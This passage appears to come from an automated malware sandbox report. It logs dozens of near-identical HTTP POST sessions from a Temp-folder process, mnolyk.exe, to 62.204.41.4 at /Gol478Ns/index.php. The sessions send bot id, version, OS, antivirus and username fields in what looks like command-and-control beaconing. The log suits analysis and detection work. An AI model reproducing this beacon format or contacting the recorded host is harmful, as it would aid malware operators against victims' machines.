Feb 6, 2023 14:18:34.225155115 CET	590	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:34.289185047 CET	590	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49729	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:44.339848995 CET	240	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:44.405359983 CET	240	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
390	192.168.2.5	50080	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:34.462035894 CET	591	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:34.524780989 CET	591	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
391	192.168.2.5	50081	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:34.695568085 CET	592	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:34.766392946 CET	592	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
392	192.168.2.5	50082	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:34.947433949 CET	593	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:35.014060974 CET	593	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
393	192.168.2.5	50083	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:35.186608076 CET	593	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:35.253365040 CET	594	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
394	192.168.2.5	50084	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:35.437222958 CET	595	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:35.509721041 CET	595	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
395	192.168.2.5	50085	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:35.682373047 CET	596	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:35.746413946 CET	596	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
396	192.168.2.5	50086	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:35.914582014 CET	597	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:35.980093002 CET	597	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
397	192.168.2.5	50087	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:36.155229092 CET	598	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:36.220750093 CET	598	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
398	192.168.2.5	50088	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:36.403852940 CET	599	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:36.504537106 CET	599	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
399	192.168.2.5	50089	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:36.683034897 CET	600	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:36.748085976 CET	600	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49694	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:29.585295916 CET	204	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:29.649504900 CET	205	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49730	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:44.596889973 CET	241	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:44.663312912 CET	241	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
400	192.168.2.5	50090	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:36.931057930 CET	601	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:36.995206118 CET	601	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
401	192.168.2.5	50091	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:37.165425062 CET	602	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:37.233617067 CET	602	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
402	192.168.2.5	50092	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:37.397614002 CET	602	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:37.461185932 CET	603	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
403	192.168.2.5	50093	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:37.648521900 CET	604	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:37.713578939 CET	604	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
404	192.168.2.5	50094	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:37.890736103 CET	605	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:37.956084013 CET	605	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
405	192.168.2.5	50095	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:38.133970976 CET	606	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:38.208528996 CET	606	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
406	192.168.2.5	50096	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:38.394553900 CET	607	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:38.459940910 CET	607	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
407	192.168.2.5	50097	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:18:38.635756969 CET	608	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:18:38.701345921 CET	608	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:18:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
